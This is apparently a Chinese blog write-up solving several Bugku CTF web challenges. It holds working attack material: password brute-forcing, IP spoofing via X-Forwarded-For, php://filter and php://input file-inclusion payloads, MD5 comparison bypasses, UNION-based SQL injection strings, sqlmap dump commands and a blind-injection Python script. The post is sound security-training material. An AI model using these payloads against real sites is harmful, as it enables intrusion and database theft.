Bugku-web(二)

网站被黑

在这里插入图片描述
打开链接是一个黑页,链接后面加index.php判断是PHP,而题目提示实战中经常遇到,那就开御剑扫描后台
在这里插入图片描述http://123.206.87.240:8002/webshell/shell.php
在这里插入图片描述
尝试一下admin,root等弱密码无效
在这里插入图片描述
开burp进行爆破,这里选择Simple list,字典选择burp自带的Passwords
在这里插入图片描述
在这里插入图片描述send to intruder

在这里插入图片描述
在这里插入图片描述我们输入不正确的密码时返回的请求都是一样的,而输入正确的密码时,返回的请求长度就跟不正确的有区别,所以说,这个长度时1110的返回请求就是我们要的密码啦。
在这里插入图片描述
在这里插入图片描述

管理员模式

随便输入一个
在这里插入图片描述日常抓包查看源代码发现一串注释
在这里插入图片描述
base64解码
在这里插入图片描述
猜测test123应该为账号或者密码

如何解决网站限制ip访问的问题

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

于是在Headers中增添一对键值对: X-Forwarded-For : 127.0.0.1 伪装成本地访问。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web4

在这里插入图片描述unescape() 函数的工作原理是这样的:通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。

根据提示解密后的结果:

function checkSubmit(){
    var a=document.getElementById("password");
    //获取ID名为password的文档元素,并赋给a
    if("undefined"!=typeof a){
    //判断a的类型是否undefined
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
        //判断:a元素的value值是否为67d709b2b54aa2aa648cf6e87a7114f1
            return!0;
        alert("Error");
        //弹框:Error
        a.focus();
        //获得焦点时,改变背景颜色
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
//获取ID值为levelQuest的文档元素,点击submit时执行checksubmit函数
//onsubmit:再点击submit时发生,若返回真提交表单

getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。

67d709b2b54aa2aa648cf6e87a7114f1获得flag
在这里插入图片描述

flag在index里

在这里插入图片描述http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
payload解释:include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

在这里插入图片描述php://filter的使用
1、利用base64获得源码
2、通过读写编码实行绕过操作

base64解密

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	**$file=$_GET['file'];**
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

strstr — 查找字符串的首次出现,区分大小写

stristr() 函数搜索字符串在另一字符串中的第一次出现。

PHP include 和 require 语句

通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。

include 和 require 语句是相同的,除了错误处理方面:

require 会生成致命错误(E_COMPILE_ERROR)并停止脚本
include 只生成警告(E_WARNING),并且脚本会继续

因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么请使用 include。否则,在框架、CMS 或者复杂的 PHP
应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于提高应用程序的安全性和完整性,在某个关键文件意外丢失的情况下。

包含文件省去了大量的工作。这意味着您可以为所有页面创建标准页头、页脚或者菜单文件。然后,在页头需要更新时,您只需更新这个页头包含文件即可。

这道题目里有经典的本地文件包含漏洞+php伪协议的结合应用(file是提示)

php封装协议:PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。用于描述一个封装协议的 URL 语法仅支持 scheme://… 的语法。 scheme:/ 和 scheme: 语法是不支持的。

Table of Contents
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

输入密码查看flag

暴力破解
在这里插入图片描述在这里插入图片描述在这里插入图片描述把线程增大加快速度
在这里插入图片描述
在这里插入图片描述其实该题有提示爆破
在这里插入图片描述

点击一百万次

在这里插入图片描述好像不能访问了
在这里插入图片描述看看别人的博客:https://www.cnblogs.com/0yst3r-2046/p/10745979.html

备份是个好习惯

看到两个一样的字符串
在这里插入图片描述
抓包看看
在这里插入图片描述
没什么发现,用御剑扫描后台
在这里插入图片描述

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);//不显示错误报告
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

ini_set — 为一个配置选项设置值。

$_SERVER[“QUERY_STRING”]
获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER[“REQUEST_URI”] 获取 http://localhost后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径,如:index.php
$_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

parse_str() 函数把查询字符串解析到变量中。

11行strstr获得URI从’?‘往后(包括’?’)的字符串,12行去掉’?’,13行把字符串中的’key’替换为空,14行parse_str把字符串解析到变量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过

参考:https://blog.csdn.net/zyl_wjl_1413/article/details/83928989

1、构造kkeyey绕过
2、如何做到key1、key2的值不同而他们的MD5值相同?
姿势一:利用md5无法处理数组而使其md5值相同,如果传入数组,则会返回null

http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=2

在这里插入图片描述姿势二:
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

构造payload:

http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=240610708

在这里插入图片描述

成绩单

参考:https://blog.csdn.net/xuchen16/article/details/82785371
用三种方法进行sql注入:

方法一:手工注入
1、
1’ 异常
1’# 正常
1’–+ 异常
1’ – + 正常
说明过滤了–+

2、猜测表有四列
1’ order by 4# 返回正常
1’ order by 5# 返回异常
证明表有四列

3、暴库名
-1’ union select 1,2,3,database()#
在这里插入图片描述库名为skctf_flag

4、爆表名
-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述fl4g,sc即为表名

5、爆字段名
-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘sc’#
在这里插入图片描述-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=‘flag’#
在这里插入图片描述最后查询数据:-1’ union select 1,2,3,skctf_flag from fl4g#
在这里插入图片描述方法二:sqlmap
输入一抓包
在这里插入图片描述
然后按右键,点击copy to file保存文件,这里我保存到了D盘 1.txt
在这里插入图片描述在这里插入图片描述
然后打开sqlmap开始爆库:sqlmap.py -r “D:\1.txt” -p id --current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
在这里插入图片描述爆表:
sqlmap.py -r “D:\1.txt” -p id -D skctf_flag --tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
在这里插入图片描述可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r “D:\1.txt” -p id -D skctf_flag -T fl4g --columns
-T –>指定表名称
–columns –>列出表中的字段
在这里插入图片描述fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r “D:\1.txt” -p id -D skctf_flag -T fl4g -C skctf_flag --dump
–dump –>列出字段数据(dump前有两个-)
在这里插入图片描述

方法三:python sql注入
由于python水平有限,这里参考一下其他博主写的一个脚本

import requests
import re
 
url = "http://120.24.86.145:8002/chengjidan/index.php"
 
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag 
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
 
information=""
 
for m in range(1,50):
    for i in range(32,129):
        post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
        r = requests.post(url,post_data)
        resultarr = re.findall(r"<td>(.+?)<td>",r.text)
        result = ''.join(resultarr)
        #print result 
        #print r.text
        #print post_data
        if '60' not in result:
            information += chr(i)
            break
    print information

秋山名老司机

request+BeautifulSoup库写的python脚本

import requests
from bs4 import BeautifulSoup

url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.session()
r = s.get(url)
soup = BeautifulSoup(r.text, "html.parser")
num = soup.div.text
num = eval(num.replace('=?;', ""))
print(num)
key = {"value": num}


p = s.post(url, data=key)
p.encoding = "UTF-8"
print(p.text)

要注意必须利用会话对象 Session(),否则提交结果的时候,页面又重新生成一个新的表达式,结果自然错误。

在获取算数表达式部分用了soup.div.text,然后直接将=?;用空字符代替,也可以利用正则表达式如:

source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()

利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块,其次用 search() 匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串
在这里插入图片描述

速度要快

在这里插入图片描述在这里插入图片描述base64解密后提交发现不对,一脸懵
在这里插入图片描述
margin的值应该是一个数字,再解密一次
在这里插入图片描述
再go几下发现flag在变
在这里插入图片描述尝试写脚本

import requests
import base64

url = "http://123.206.87.240:8002/web6/"
r = requests.session()
headers = r.get(url).headers  # 因为flag在消息头里

mid = base64.b64decode(headers['flag'])
mid = mid.decode()  # 为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的

flag = base64.b64decode(mid.split(':')[1])  # 获得flag:后的值
data = {'margin': flag}
print(r.post(url, data).text)  # post方法传上去

1、byte型转str型

      mid=mid.decode()

2、str型转byte型

      mid=mid.encode()

在这里插入图片描述
在这里插入图片描述

cookies欺骗

观察url

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

将a2V5cy50eHQ= base64解密,得到keys.txt,关键信息可能藏在这个文件里
在这里插入图片描述网上大佬们说,我也不知道为啥这样。。。尝试用修改参数filename的值为index.php(注意此处要用base64加密为aW5kZXgucGhw)(原url使用base64,这也将index.php进行编码),结果没显示
在这里插入图片描述发现参数line没有给值,随意赋值如1,出现
在这里插入图片描述赋值2
在这里插入图片描述赋值3
在这里插入图片描述猜测返回的应该是文件中的某一行,那么代码一共有多少行呢
可以写一个脚本看看

import requests

line = 50
for i in range(line):
    r = requests.get("http://123.206.87.240:8002/web11/index.php?line=" + str(i) + "&filename=aW5kZXgucGhw")//i要记得转化成str类型,str(i)
    print(r.text)

源代码

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;//intval() 函数用于获取变量的整数值

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';//cookie必须满足margin=margin才能访问keys.php

}

if(in_array($file, $file_list)){//in_array() 函数在数组中搜索给定的值。

$fa = file($file);

echo $fa[$line];

}

?>

注意把参数filename的值改为base64加密后的keys.php
在这里插入图片描述

never give up

右键查看源码,发现1p.html
在这里插入图片描述访问http://123.206.87.240:8006/test/1p.html,发现页面自动跳转到 http://www.bugku.com/
在这里插入图片描述应该是有 window.location.href 之类的重定向,那就直接查看1p.html的源码,在链接前面加 view-source:
view-source:http://123.206.87.240:8006/test/1p.html

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

将words变量url解码得到

<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

注释部分base64解码
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再url解码

";if(!$_GET['id'])//变量id非空
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。$a中不能有字符.
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');//file_get_contents() 函数把整个文件读入一个字符串中
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)//eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

其中各条核心语句的作用如下:

第 1 行:限制 URL 查询字符串中必须有非空非零变量 id
第 9 行:限制变量 $a 中不能含有字符 .
第 15 行:要满足以下 5 条表达式才会爆 flag:
变量 $data 弱等于字符串 bugku is a nice plateform!
变量 $id 弱等于整型数 0
变量 $b 的长度大于 5
字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
变量 $b 的第一个字符弱不等于整型数 4

试试直接访问f4l2a3g.txt,发现ok
在这里插入图片描述或者构造payload:
参考https://www.cnblogs.com/cyc-endeavor/p/10375692.html
http://123.206.87.240:8006/test/hello.php?id=abc&b=%0012345&a=php://input
在这里插入图片描述真的涨知识了
发现一篇很有意思的php函数黑魔法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值